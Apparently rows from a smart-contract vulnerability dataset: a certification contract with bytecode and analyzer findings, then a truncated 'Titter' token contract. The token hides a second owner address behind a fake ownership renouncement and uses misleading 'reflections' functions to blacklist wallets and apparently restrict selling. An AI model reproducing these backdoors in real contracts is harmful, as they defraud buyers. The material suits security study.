LogBeneficiarySet(beneficiary, newBeneficiary); beneficiary = newBeneficiary; } success = true; } function () payable public { asyncSend(beneficiary, msg.value); } } contract WithFee is WithBeneficiary { // @notice Contracts asking for a confirmation of a certification need to pass this fee. uint256 private queryFee; event LogQueryFeeSet(uint256 previousQueryFee, uint256 newQueryFee); constructor( address beneficiary, uint256 _queryFee) public WithBeneficiary(beneficiary) { queryFee = _queryFee; } modifier requestFeePaid { require(queryFee <= msg.value); asyncSend(getBeneficiary(), msg.value); _; } function getQueryFee() view public returns (uint256) { return queryFee; } function setQueryFee(uint256 newQueryFee) fromOwner public returns (bool success) { if (queryFee != newQueryFee) { emit LogQueryFeeSet(queryFee, newQueryFee); queryFee = newQueryFee; } success = true; } } /* * @notice Base contract supporting async send for pull payments. * Inherit from this contract and use asyncSend instead of send. * https://github.com/OpenZeppelin/zep-solidity/blob/master/contracts/PullPaymentCapable.sol */ contract PullPaymentCapable { uint256 private totalBalance; mapping(address => uint256) private payments; event LogPaymentReceived(address indexed dest, uint256 amount); constructor() public { if (0 < address(this).balance) { asyncSend(msg.sender, address(this).balance); } } // store sent amount as credit to be pulled, called by payer function asyncSend(address dest, uint256 amount) internal { if (amount > 0) { totalBalance += amount; payments[dest] += amount; emit LogPaymentReceived(dest, amount); } } function getTotalBalance() view public returns (uint256) { return totalBalance; } function getPaymentOf(address beneficiary) view public returns (uint256) { return payments[beneficiary]; } // withdraw accumulated balance, called by payee function withdrawPayments() external returns (bool success) { uint256 payment = payments[msg.sender]; payments[msg.sender] = 0; totalBalance -= payment; require(msg.sender.call.value(payment)()); success = true; } function fixBalance() public returns (bool success); function fixBalanceInternal(address dest) internal returns (bool success) { if (totalBalance < address(this).balance) { uint256 amount = address(this).balance - totalBalance; payments[dest] += amount; emit LogPaymentReceived(dest, amount); } return true; } } // @notice Interface for a certifier database contract CertifierDbI { event LogCertifierAdded(address indexed certifier); event LogCertifierRemoved(address indexed certifier); function addCertifier(address certifier) public returns (bool success); function removeCertifier(address certifier) public returns (bool success); function getCertifiersCount() view public returns (uint count); function getCertifierStatus(address certifierAddr) view public returns (bool authorised, uint256 index); function getCertifierAtIndex(uint256 index) view public returns (address); function isCertifier(address certifier) view public returns (bool isIndeed); } contract CertificationDbI { event LogCertifierDbChanged( address indexed previousCertifierDb, address indexed newCertifierDb); event LogStudentCertified( address indexed student, uint timestamp, address indexed certifier, bytes32 indexed document); event LogStudentUncertified( address indexed student, uint timestamp, address indexed certifier); event LogCertificationDocumentAdded( address indexed student, bytes32 indexed document); event LogCertificationDocumentRemoved( address indexed student, bytes32 indexed document); function getCertifierDb() view public returns (address); function setCertifierDb(address newCertifierDb) public returns (bool success); function certify(address student, bytes32 document) public returns (bool success); function uncertify(address student) public returns (bool success); function addCertificationDocument(address student, bytes32 document) public returns (bool success); function addCertificationDocumentToSelf(bytes32 document) public returns (bool success); function removeCertificationDocument(address student, bytes32 document) public returns (bool success); function removeCertificationDocumentFromSelf(bytes32 document) public returns (bool success); function getCertifiedStudentsCount() view public returns (uint count); function getCertifiedStudentAtIndex(uint index) payable public returns (address student); function getCertification(address student) payable public returns (bool certified, uint timestamp, address certifier, uint documentCount); function isCertified(address student) payable public returns (bool isIndeed); function getCertificationDocumentAtIndex(address student, uint256 index) payable public returns (bytes32 document); function isCertification(address student, bytes32 document) payable public returns (bool isIndeed); } contract CertificationDb is CertificationDbI, WithFee, PullPaymentCapable { // @notice Where we check for certifiers. CertifierDbI private certifierDb; struct DocumentStatus { bool isValid; uint256 index; } struct Certification { bool certified; uint256 timestamp; address certifier; mapping(bytes32 => DocumentStatus) documentStatuses; bytes32[] documents; uint256 index; } // @notice Address of certified students. mapping(address => Certification) studentCertifications; // @notice The potentially long list of all certified students. address[] certifiedStudents; constructor( address beneficiary, uint256 certificationQueryFee, address _certifierDb) public WithFee(beneficiary, certificationQueryFee) { require(_certifierDb != 0); certifierDb = CertifierDbI(_certifierDb); } modifier fromCertifier { require(certifierDb.isCertifier(msg.sender)); _; } function getCertifierDb() view public returns (address) { return certifierDb; } function setCertifierDb(address newCertifierDb) fromOwner public returns (bool success) { require(newCertifierDb != 0); if (certifierDb != newCertifierDb) { emit LogCertifierDbChanged(certifierDb, newCertifierDb); certifierDb = CertifierDbI(newCertifierDb); } success = true; } function certify(address student, bytes32 document) fromCertifier public returns (bool success) { require(student != 0); require(!studentCertifications[student].certified); bool documentExists = document != 0; studentCertifications[student] = Certification({ certified: true, timestamp: now, certifier: msg.sender, documents: new bytes32[](0), index: certifiedStudents.length }); if (documentExists) { studentCertifications[student].documentStatuses[document] = DocumentStatus({ isValid: true, index: studentCertifications[student].documents.length }); studentCertifications[student].documents.push(document); } certifiedStudents.push(student); emit LogStudentCertified(student, now, msg.sender, document); success = true; } function uncertify(address student) fromCertifier public returns (bool success) { require(studentCertifications[student].certified); // You need to uncertify all documents first require(studentCertifications[student].documents.length == 0); uint256 index = studentCertifications[student].index; delete studentCertifications[student]; if (certifiedStudents.length > 1) { certifiedStudents[index] = certifiedStudents[certifiedStudents.length - 1]; studentCertifications[certifiedStudents[index]].index = index; } certifiedStudents.length--; emit LogStudentUncertified(student, now, msg.sender); success = true; } function addCertificationDocument(address student, bytes32 document) fromCertifier public returns (bool success) { success = addCertificationDocumentInternal(student, document); } function addCertificationDocumentToSelf(bytes32 document) public returns (bool success) { success = addCertificationDocumentInternal(msg.sender, document); } function addCertificationDocumentInternal(address student, bytes32 document) internal returns (bool success) { require(studentCertifications[student].certified); require(document != 0); Certification storage certification = studentCertifications[student]; if (!certification.documentStatuses[document].isValid) { certification.documentStatuses[document] = DocumentStatus({ isValid: true, index: certification.documents.length }); certification.documents.push(document); emit LogCertificationDocumentAdded(student, document); } success = true; } function removeCertificationDocument(address student, bytes32 document) fromCertifier public returns (bool success) { success = removeCertificationDocumentInternal(student, document); } function removeCertificationDocumentFromSelf(bytes32 document) public returns (bool success) { success = removeCertificationDocumentInternal(msg.sender, document); } function removeCertificationDocumentInternal(address student, bytes32 document) internal returns (bool success) { require(studentCertifications[student].certified); Certification storage certification = studentCertifications[student]; if (certification.documentStatuses[document].isValid) { uint256 index = certification.documentStatuses[document].index; delete certification.documentStatuses[document]; if (certification.documents.length > 1) { certification.documents[index] = certification.documents[certification.documents.length - 1]; certification.documentStatuses[certification.documents[index]].index = index; } certification.documents.length--; emit LogCertificationDocumentRemoved(student, document); } success = true; } function getCertifiedStudentsCount() view public returns (uint256 count) { count = certifiedStudents.length; } function getCertifiedStudentAtIndex(uint256 index) payable public requestFeePaid returns (address student) { student = certifiedStudents[index]; } /** * @notice Requesting a certification is a paying feature. */ function getCertification(address student) payable public requestFeePaid returns (bool certified, uint256 timestamp, address certifier, uint256 documentCount) { Certification storage certification = studentCertifications[student]; return (certification.certified, certification.timestamp, certification.certifier, certification.documents.length); } /** * @notice Requesting a certification confirmation is a paying feature. */ function isCertified(address student) payable public requestFeePaid returns (bool isIndeed) { isIndeed = studentCertifications[student].certified; } /** * @notice Requesting a certification document by index is a paying feature. */ function getCertificationDocumentAtIndex(address student, uint256 index) payable public requestFeePaid returns (bytes32 document) { document = studentCertifications[student].documents[index]; } /** * @notice Requesting a confirmation that a document is a certification is a paying feature. */ function isCertification(address student, bytes32 document) payable public requestFeePaid returns (bool isIndeed) { isIndeed = studentCertifications[student].documentStatuses[document].isValid; } function fixBalance() public returns (bool success) { return fixBalanceInternal(getBeneficiary()); } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063038461ea1461016c57806312b583491461019757806313af4035146101c2578063163aba3c1461021d5780631c31f710146102485780635103a5a3146102a3578063565a2e2c1461030c57806356d73ad1146103635780635afa5036146103ba5780636103d70b14610408578063893d20e814610437578063912de8de1461048e578063951b01c5146104bd5780639c30936f146105185780639e1e652814610561578063c24924d6146105bc578063c88cc6ac14610601578063d558220514610690578063da7d0082146106f0578063de6292351461074c578063e42d5be0146107a8578063e80bd3e5146107ff578063ec97cff714610848578063f3ee6305146108b1575b61016a600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163461091a565b005b34801561017857600080fd5b506101816109d3565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6109e0565b6040518082815260200191505060405180910390f35b3480156101ce57600080fd5b50610203600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ea565b604051808215151515815260200191505060405180910390f35b34801561022957600080fd5b50610232610b88565b6040518082815260200191505060405180910390f35b34801561025457600080fd5b50610289600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b92565b604051808215151515815260200191505060405180910390f35b3480156102af57600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050610d33565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b50610321611252565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036f57600080fd5b5061037861127c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a6565b604051808215151515815260200191505060405180910390f35b34801561041457600080fd5b5061041d611321565b604051808215151515815260200191505060405180910390f35b34801561044357600080fd5b5061044c6113fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049a57600080fd5b506104a3611423565b604051808215151515815260200191505060405180910390f35b3480156104c957600080fd5b506104fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061143a565b604051808215151515815260200191505060405180910390f35b34801561052457600080fd5b5061054760048036038101908080356000191690602001909291905050506115db565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b506105a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ee565b604051808215151515815260200191505060405180910390f35b3480156105c857600080fd5b506105e760048036038101908080359060200190929190505050611a32565b604051808215151515815260200191505060405180910390f35b610635600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aec565b60405180851515151581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390f35b6106ae60048036038101908080359060200190929190505050611bab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610732600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611c10565b604051808215151515815260200191505060405180910390f35b61078a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ca8565b60405180826000191660001916815260200191505060405180910390f35b3480156107b457600080fd5b506107e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2e565b6040518082815260200191505060405180910390f35b34801561080b57600080fd5b5061082e6004803603810190808035600019169060200190929190505050611d77565b604051808215151515815260200191505060405180910390f35b34801561085457600080fd5b50610897600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611d8a565b604051808215151515815260200191505060405180910390f35b3480156108bd57600080fd5b50610900600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611ea1565b604051808215151515815260200191505060405180910390f35b60008111156109cf578060036000828254019250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff167f71c66459b89364f3bf3c906b1a1d8652cc2920224be995f47e1bd17fd1428222826040518082815260200191505060405180910390a25b5050565b6000600780549050905090565b6000600354905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4757600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610a6d57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610b7f578173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ffcf23a92150d56e85e3a3d33b357493246e55783095eb6a733eb8439ffc752c860405160405180910390a3816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b6000600254905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bef57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610c1557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610d2a578173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f19fc5dfa52cbe3deb2c9d94a22f464548abadd6067db0c2c0534844d041f8df060405160405180910390a381600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631c2353e1336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610df357600080fd5b505af1158015610e07573d6000803e3d6000fd5b505050506040513d6020811015610e1d57600080fd5b81019080805190602001909291905050501515610e3957600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff1614151515610e5f57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16151515610ebb57600080fd5b600060010283600019161415905060a0604051908101604052806001151581526020014281526020013373ffffffffffffffffffffffffffffffffffffffff1681526020016000604051908082528060200260200182016040528015610f305781602001602082028038833980820191505090505b508152602001600780549050815250600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600401908051906020019061100b9291906124b5565b50608082015181600501559050508015611177576040805190810160405280600115158152602001600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040180549050815250600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000856000191660001916815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155905050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018390806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055505b60078490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505082600019163373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fb24ec0b08d813dcdfcd724c8f00c9391266e74f7b3e4ac777cab023decdac3a4426040518082815260200191505060405180910390a4600191505092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600034600254111515156112b957600080fd5b6112ca6112c4611252565b3461091a565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050919050565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af19250505015156113f257600080fd5b600191505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611435611430611252565b611fb8565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561149757600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156114bd57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156115d2578173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb1d919edde8c3abc5bb1da8cad2f086adc0e3147be111672dcf8bae0e39b2b0060405160405180910390a381600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b60006115e733836120a0565b9050919050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631c2353e1336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156116ae57600080fd5b505af11580156116c2573d6000803e3d6000fd5b505050506040513d60208110156116d857600080fd5b810190808051906020019092919050505015156116f457600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16151561174f57600080fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401805490501415156117a357600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501549050600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549060ff021916905560018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560048201600061187b9190612508565b60058201600090555050600160078054905011156119ad5760076001600780549050038154811015156118aa57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007828154811015156118e457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806006600060078481548110151561194057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501819055505b60078054809190600190036119c29190612529565b503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f846e5851feb0abe1147738246a99adca29c3d529de2746efe5cfccbf6207525e426040518082815260200191505060405180910390a36001915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8f57600080fd5b81600254141515611ae3577fe835852b487b67dc2d1456553d3887776f63d4c97b567b725bb208d5d5a9edfa60025483604051808381526020018281526020019250505060405180910390a1816002819055505b60019050919050565b60008060008060003460025411151515611b0557600080fd5b611b16611b10611252565b3461091a565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a900460ff1681600101548260020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600401805490509450945094509450509193509193565b60003460025411151515611bbe57600080fd5b611bcf611bc9611252565b3461091a565b600782815481101515611bde57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60003460025411151515611c2357600080fd5b611c34611c2e611252565b3461091a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000836000191660001916815260200190815260200160002060000160009054906101000a900460ff16905092915050565b60003460025411151515611cbb57600080fd5b611ccc611cc6611252565b3461091a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040182815481101515611d1b57fe5b9060005260206000200154905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000611d8333836122da565b9050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631c2353e1336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611e4957600080fd5b505af1158015611e5d573d6000803e3d6000fd5b505050506040513d6020811015611e7357600080fd5b81019080805190602001909291905050501515611e8f57600080fd5b611e9983836122da565b905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631c2353e1336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611f6057600080fd5b505af1158015611f74573d6000803e3d6000fd5b505050506040513d6020811015611f8a57600080fd5b81019080805190602001909291905050501515611fa657600080fd5b611fb083836120a0565b905092915050565b6000803073ffffffffffffffffffffffffffffffffffffffff16316003541015612096576003543073ffffffffffffffffffffffffffffffffffffffff163103905080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff167f71c66459b89364f3bf3c906b1a1d8652cc2920224be995f47e1bd17fd1428222826040518082815260200191505060405180910390a25b6001915050919050565b6000806000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16151561210057600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150816003016000856000191660001916815260200190815260200160002060000160009054906101000a900460ff16156122ce5781600301600085600019166000191681526020019081526020016000206001015490508160030160008560001916600019168152602001908152602001600020600080820160006101000a81549060ff02191690556001820160009055505060018260040180549050111561226d578160040160018360040180549050038154811015156121fe57fe5b9060005260206000200154826004018281548110151561221a57fe5b90600052602060002001816000191690555080826003016000846004018481548110151561224457fe5b906000526020600020015460001916600019168152602001908152602001600020600101819055505b816004018054809190600190036122849190612555565b5083600019168573ffffffffffffffffffffffffffffffffffffffff167f50f8fc971f36f7a6288db952ca5aec9d69a835e58b15c048ecabec94072c883960405160405180910390a35b60019250505092915050565b600080600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16151561233857600080fd5b600060010283600019161415151561234f57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806003016000846000191660001916815260200190815260200160002060000160009054906101000a900460ff1615156124aa5760408051908101604052806001151581526020018260040180549050815250816003016000856000191660001916815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101559050508060040183908060018154018082558091505090600182039060005260206000200160009091929091909150906000191690555082600019168473ffffffffffffffffffffffffffffffffffffffff167f2785ed218847cc38c985abc0734cdab82800face2ee7ca805aac3602ff31b60960405160405180910390a35b600191505092915050565b8280548282559060005260206000209081019282156124f7579160200282015b828111156124f65782518290600019169055916020019190600101906124d5565b5b5090506125049190612581565b5090565b50805460008255906000526020600020908101906125269190612581565b50565b8154818355818111156125505781836000526020600020918201910161254f91906125a6565b5b505050565b81548183558181111561257c5781836000526020600020918201910161257b9190612581565b5b505050565b6125a391905b8082111561259f576000816000905550600101612587565b5090565b90565b6125c891905b808211156125c45760008160009055506001016125ac565b5090565b905600a165627a7a7230582064612e6c16bf0d3916ac2863386d5fa817e0edb046ff9d06a20bfaa415c6cd640029
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,008
0x074545177a36ab81aac783211f25e14f1ed03c2b
/** *Submitted for verification at Etherscan.io on 2022-04-10 */ /* Turning a meme into reality https://twitter.com/elonmusk/status/1513045405029711878 No Taxes - For the community */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Titter is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 1000000*10**18; string public _name = "Titter"; string public _symbol= "Titter"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xF6A8C35D5B14Ae242A588A3B960b1F7042666202); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; 